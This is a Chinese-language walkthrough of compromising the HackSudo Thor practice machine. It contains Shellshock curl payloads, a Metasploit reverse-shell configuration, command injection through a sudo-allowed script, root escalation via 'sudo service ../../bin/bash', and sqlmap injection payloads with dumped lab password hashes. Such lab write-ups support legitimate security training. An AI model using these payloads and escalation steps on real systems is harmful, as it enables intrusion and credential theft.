HackSudo Thor 靶机渗透记录
准备工作
将 www.hacksudo.com
添加到你的 /etc/hosts 文件中
echo "<ip_address> www.hacksudo.com" >> /etc/hosts
信息搜集
使用 nmap 扫描目标
nmap www.hacksudo.com
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-07 12:49 HKT
Nmap scan report for www.hacksudo.com (10.16.4.177)
Host is up (0.0052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
使用 burp suite 浏览器访问目标
[!WARNING] 我搜索了一些writeup,发现我完全错了!!! 接下来的步骤是正确的,我会将我的错误步骤放在最后。
🕙[ 21:33:01 ] Windows 10 dirb http://www.hacksudo.com/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Jun 29 21:33:12 2025
URL_BASE: http://www.hacksudo.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://www.hacksudo.com/ ----
+ http://www.hacksudo.com/cgi-bin/ (CODE:403|SIZE:281)
==> DIRECTORY: http://www.hacksudo.com/fonts/
==> DIRECTORY: http://www.hacksudo.com/images/
+ http://www.hacksudo.com/index.php (CODE:200|SIZE:5357)
+ http://www.hacksudo.com/server-status (CODE:403|SIZE:281)
---- Entering directory: http://www.hacksudo.com/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://www.hacksudo.com/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sun Jun 29 21:33:30 2025
DOWNLOADED: 4612 - FOUND: 3
dirb http://www.hacksudo.com/cgi-bin -X.sh
# 这一步很牵强
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Jun 29 21:59:56 2025
URL_BASE: http://www.hacksudo.com/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://www.hacksudo.com/cgi-bin/ ----
+ http://www.hacksudo.com/cgi-bin/shell.sh (CODE:500|SIZE:614)
-----------------
END_TIME: Sun Jun 29 22:00:14 2025
DOWNLOADED: 4612 - FOUND: 1
Shellshock 漏洞利用
发现了 /cgi-bin/shell.sh
文件,这提示我们可能存在 Shellshock (CVE-2014-6271) 漏洞。
什么是 CGI 服务
CGI (Common Gateway Interface) 是一种标准协议,用于 Web 服务器与外部程序之间的通信。
CGI 工作原理:
- 用户通过浏览器访问 CGI 脚本
- Web服务器接收请求,识别为 CGI 程序
- 服务器启动新进程执行 CGI 脚本
- 脚本处理请求并返回结果
- 服务器将结果发送给用户浏览器
数据传递方式:
- 环境变量(如 HTTP_USER_AGENT、QUERY_STRING)
- 标准输入/输出流
- 命令行参数
Shellshock 漏洞原理
Shellshock (CVE-2014-6271) 是一个影响 Bash shell 的严重远程代码执行漏洞。
漏洞原理:
Bash 在处理环境变量时存在缺陷,当环境变量以 () {
开头时,Bash 会将其解释为函数定义。但 Bash 在解析完函数定义后,会继续执行函数定义之后的命令。
典型攻击载荷:
() { :; }; echo "vulnerable"
在 CGI 环境中的利用:
curl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" http://target.com/cgi-bin/script.sh
重要提示:在 Shellshock 攻击中,需要在命令前添加 echo;
来分隔 HTTP 头部和响应体,否则命令输出可能无法正确显示。
实际利用过程
测试 Shellshock 漏洞:
curl -H "User-Agent: () { :; }; echo; echo vulnerable" http://www.hacksudo.com/cgi-bin/shell.sh
vulnerable
“Content-type: text/plain”
“Hello welcome to Edureka PT box”
curl -H "User-Agent: () { :; }; echo; /bin/uname -a" http://www.hacksudo.com/cgi-bin/shell.sh
Linux HacksudoThor 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
可以看出确实存在 Shellshock 漏洞。
使用 Metasploit 获取 Shell
发现 Shellshock 漏洞后,我们可以使用 Metasploit 框架来获取反向 shell。
启动 Metasploit
msfconsole
搜索 Shellshock 漏洞利用模块
search shellshock
使用 Shellshock 模块
use exploit/multi/http/apache_mod_cgi_bash_env_exec
# 或者使用编号
use 1
配置攻击参数
# 设置目标 URI
set targeturi /cgi-bin/shell.sh
# 设置目标主机
set rhost www.hacksudo.com
# 设置载荷
set payload linux/x86/shell/reverse_tcp
# 设置本地监听地址
set lhost 192.168.1.7
# 查看配置
show options
执行攻击
exploit
成功获取到初始的 thor 用户权限。
获取系统 Shell
获取到 Metasploit 的 meterpreter 后,进入系统 shell:
meterpreter > shell
Process 2725 created.
Channel 5 created.
检查当前用户身份:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
权限分析
检查当前用户的 sudo 权限:
sudo -l
Matching Defaults entries for www-data on HackSudoThor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on HackSudoThor:
(thor) NOPASSWD: /home/thor/./hammer.sh
发现 www-data 用户可以以 thor 用户身份运行 /home/thor/./hammer.sh
脚本,且无需密码。
利用 hammer.sh 脚本
首先需要获得完全交互式的 TTY shell:
SHELL=/bin/bash script -q /dev/null
什么是 TTY? TTY (Teletypewriter) 是 Linux/Unix 系统中的终端设备接口,用于处理用户与系统的交互。在渗透测试中:
- PTY (Pseudo TTY):伪终端,模拟真实的终端环境
- 完整的 TTY 提供:键盘输入处理、信号处理、作业控制等功能
什么是 script 命令?
script
命令用于创建一个新的 shell 会话并记录所有输入输出:
script -q /dev/null
:静默模式启动,不记录到文件SHELL=/bin/bash
:指定使用 bash 作为 shell- 创建伪终端环境,提供完整的交互功能
为什么需要 TTY? 在没有 TTY 的情况下会遇到以下问题:
-
无法与交互式脚本进行 I/O:
# 没有 TTY 时,hammer.sh 脚本无法正常接收用户输入 sudo -u thor /home/thor/./hammer.sh # 脚本可能卡住或无法正确处理输入
-
sudo 无法输入密码:
# 没有 TTY 时会出现: sudo: no tty present and no askpass program specified
-
交互式程序无法正常工作:
- vim、nano 等编辑器无法使用
- 某些需要用户确认的命令会失败
- 信号处理(如 Ctrl+C)可能不正常
执行 hammer.sh 脚本进行测试:
sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?
Enter Thor Secret Key : ls
Hey Dear ! I am ls , Please enter your Secret massage : ls
backup.cgi shell.sh vishal.sh
Thank you for your precious time!
发现 hammer.sh 脚本会执行在 "Secret massage" 处输入的命令。利用这个特性获取 thor 用户的 shell:
sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?
Enter Thor Secret Key : 任意输入
Hey Dear ! I am 任意输入 , Please enter your Secret massage : bash
这样就能以 thor 用户身份获得 shell 权限。
hammer.sh 脚本分析
让我们查看 hammer.sh 脚本的源码,理解它是如何工作的:
cat /home/thor/./hammer.sh
#!/bin/bash
echo
echo "HELLO want to talk to Thor?"
echo
read -p "Enter Thor Secret Key : " key
read -p "Hey Dear ! I am $key , Please enter your Secret massage : " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
脚本工作原理:
- 提示用户输入 "Secret Key",存储在变量
key
中 - 显示 "Hey Dear ! I am $key",然后要求输入 "Secret massage"
- 关键点:第8行
$msg 2>/dev/null
直接执行用户输入的内容作为命令 - 这就是为什么我们可以在 "Secret massage" 处输入
bash
来获取 shell
权限提升到 root
成功获得 thor 用户权限后,需要重新获得一个完全交互式的 TTY shell:
SHELL=/bin/bash script -q /dev/null
thor@HacksudoThor:~$
检查 thor 用户的 sudo 权限:
sudo -l
Matching Defaults entries for thor on HackSudoThor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User thor may run the following commands on HackSudoThor:
(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
发现 thor 用户可以以 root 权限运行 /usr/sbin/service
命令,且无需密码。
利用 service 命令提权: service 命令可以用来启动和管理系统服务,但也可以被滥用来执行任意命令:
sudo service ../../bin/bash
这个命令利用了 service 的路径遍历,实际上执行了 /bin/bash
,从而获得 root shell。
获取 Flag
成功提权到 root 后,查看 root 目录:
cd /root
ls
读取 Flag:
cat proof.txt
cat root.txt
主目录文件分析
在获得 thor 用户权限后,我们发现了一些有趣的文件:
ls -la
total 508
drwxrwx--- 5 thor thor 4096 Aug 2 2021 .
drwxr-xr-x 3 root root 4096 Aug 2 2021 ..
...
-rw-r--r-- 1 thor thor 4 Aug 2 2021 file
-rw-r--r-- 1 thor thor 26 Aug 2 2021 file.sh
-rw-r--r-- 1 thor thor 10240 Jul 29 2021 hack.tar
-rwxr-xr-x 1 root root 445560 Aug 2 2021 tar
-rw-r----- 1 thor thor 11 Jul 29 2021 user.txt
查看一些文件内容:
cat user.txt
user owned
cat file.sh
chmod u+s /home/thor/bash
cat file
lol
发现了一个可执行的 tar
文件,但这是一个红鲱鱼(干扰项),实际上就是正常的 tar 程序。
最终获取 Flag
执行提权命令:
sudo service ../../bin/bash
bash-4.3# cd /root
bash-4.3# ls
proof.txt root.txt
bash-4.3# cat root.txt
rooted
bash-4.3# cat proof.txt
rooted
████████
▒▒▒▒▒▒██▒▒▒▒
▓▓░░▒▒▓▓ ░░▒▒██
██░░▒▒▓▓▒▒▓▓ ░░▒▒██
██░░▒▒▓▓▒▒▒▒▒▒▓▓ ░░▒▒██
██░░▒▒▓▓▒▒▒▒░░░░▒▒▓▓ ░░▒▒▓▓ ██████
▓▓░░▒▒▓▓▒▒▒▒░░░░░░░░▒▒▓▓ ░░▒▒▓▓ ▓▓░░▓▓▓▓▓▓
▓▓▒▒▓▓▒▒▒▒▒▒░░░░░░░░░░░░▓▓ ░░▒▒▓▓░░░░░░▓▓██
▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒▓▓░░▒▒▒▒██
▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒▓▓▒▒▓▓░░
██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒▓▓
██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒██
██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██
▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▓▓ ░░▒▒██
▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▓▓ ░░▒▒██
▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██
▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██
▓▓░░▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░░░░░▒▒▓▓ ▓▓▓▓██
▓▓░░░░░░▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ▒▒▒▒▓▓ ████
▓▓░░░░░░▒▒▒▒▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░ ▒▒▒▒▓▓▓▓▓▓░░██
██░░░░░░▒▒▒▒██ ██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██░░▒▒██
██ ░░░░▒▒▒▒██ ██▓▓▓▓▓▓▒▒░░ ▒▒▓▓▓▓██░░▒▒██
░░ ░░ ██░░░░░░▒▒▒▒██ ██▓▓▓▓▓▓▒▒▒▒▓▓▓▓██░░▒▒██
░░ ░░ ░░ ██ ░░░░▒▒▒▒▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░▒▒██
░░ ░░ ██ ░░░░▒▒▒▒▓▓ ░░▓▓▓▓▓▓▓▓▓▓░░▒▒██
░░ ██ ░░░░▒▒▒▒▓▓ ░░▓▓▓▓▓▓░░▒▒██
██ ░░░░▒▒▒▒██ ░░██▓▓██▓▓
▓▓ ░░░░▒▒▒▒██
██ ░░░░▒▒▒▒██
▓▓ ░░░░▒▒▒▒██
▓▓ ░░░░▒▒▒▒██
░░▓▓░░░░░░▒▒▒▒██
░░▓▓░░░░░░▒▒▒▒▓▓
░░▒▒░░░░░░▒▒▒▒▓▓
▒▒░░░░░░▒▒▒▒▓▓
██░░░░░░▒▒▒▒▓▓
██ ░░░░▒▒▒▒▓▓
██ ░░░░▒▒▒▒▓▓
██ ░░░░▒▒▒▒▓▓
▓▓ ░░░░▒▒▒▒▓▓
██ ░░░░▒▒▒▒▒▒
▓▓░░░░░░▒▒▒▒██
████▓▓▓▓░░▒▒▒▒██
██▒▒ ▒▒▓▓▓▓▒▒██
▓▓▒▒ ▒▒▒▒▓▓██
▓▓▒▒▒▒▒▒▓▓██
██▓▓▓▓▓▓▓▓██
░░▓▓▓▓▓▓▓▓░░
至此,我们成功完成了 HacksudoThor 机器的渗透测试,获取了最终的 flag(Thor 的锤子)!
总结
这次渗透测试成功利用了以下几个关键点:
- Shellshock 漏洞 (CVE-2014-6271):通过 CGI 脚本获得初始访问
- 命令注入:hammer.sh 脚本直接执行用户输入
- sudo 权限滥用:利用 service 命令的路径遍历获得 root 权限
- TTY 环境的重要性:确保与交互式脚本正常通信
整个攻击链:Shellshock → www-data → hammer.sh 命令注入 → thor 用户 → sudo service 提权 → root
错误步骤
使用 dirbuster 扫描目标
dirbuster http://www.hacksudo.com
200 - 4KB - /README.md
阅读 README.md 文件。发现有默认的管理员账号和密码。
However some important usernames and passwords are provided below :
- Username of admin is "admin" & password is "password123".
- Username of most of the customers is their "first_name" &
password is their "first_name" followed by "123".
尝试使用默认管理员账号登录。成功!
然后我访问了这个 github 项目来下载源代码。
git clone https://github.com/zakee94/online-banking-system.git
我尝试审计代码。在 delete_customer.php 中发现了一个注入点
if (isset($_GET['cust_id'])) {
$_SESSION['cust_id'] = $_GET['cust_id'];
}
$sql0 = "DELETE FROM customer WHERE cust_id=".$_SESSION['cust_id'];
...
<?php
if (($conn->query($sql0) === TRUE)) {
?>
我使用 sqlmap 测试注入点。
sqlmap -f sql.txt
GET parameter 'cust_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 1522 HTTP(s) requests:
---
Parameter: cust_id (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cust_id=1 AND EXTRACTVALUE(3927,CONCAT(0x5c,0x71766b7171,(SELECT (ELT(3927=3927,1))),0x717a787871))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cust_id=1 AND (SELECT 1331 FROM (SELECT(SLEEP(5)))IzqC)
---
然后我尝试枚举密码。
sqlmap -l sql.txt --passwords
database management system users password hashes:
[*] edurekamysql [1]:
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
clear-text password: password
[*] joomla [1]:
password hash: *74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3
clear-text password: passw0rd
[*] joomlauser [1]:
password hash: *74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3
clear-text password: passw0rd
[*] newuser [1]:
password hash: *58C172DC56C80B4CBA4931826C246029822C787E
[*] root [1]:
password hash: *74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3
clear-text password: passw0rd
[*] textpattern_user [1]:
password hash: NULL
[*] textpattern_user1 [1]:
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
clear-text password: password
[*] textuser [2]:
password hash: *74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3
clear-text password: passw0rd
password hash: *8A89BCF715AB1A5F8647B051F6844D097066AF09
[*] thor [1]:
password hash: *74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3
clear-text password: passw0rd
[*] wordpress_user [1]:
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
clear-text password: password
然后我尝试使用 root 账号登录。但是失败了。
ssh root@www.hacksudo.com
然后我尝试枚举数据库。
sqlmap -f sql.txt --dbs
available databases [4]:
[*] hacksudo
[*] information_schema
[*] mysql
[*] performance_schema
并未发现敏感数据。至此我放弃了这个方向。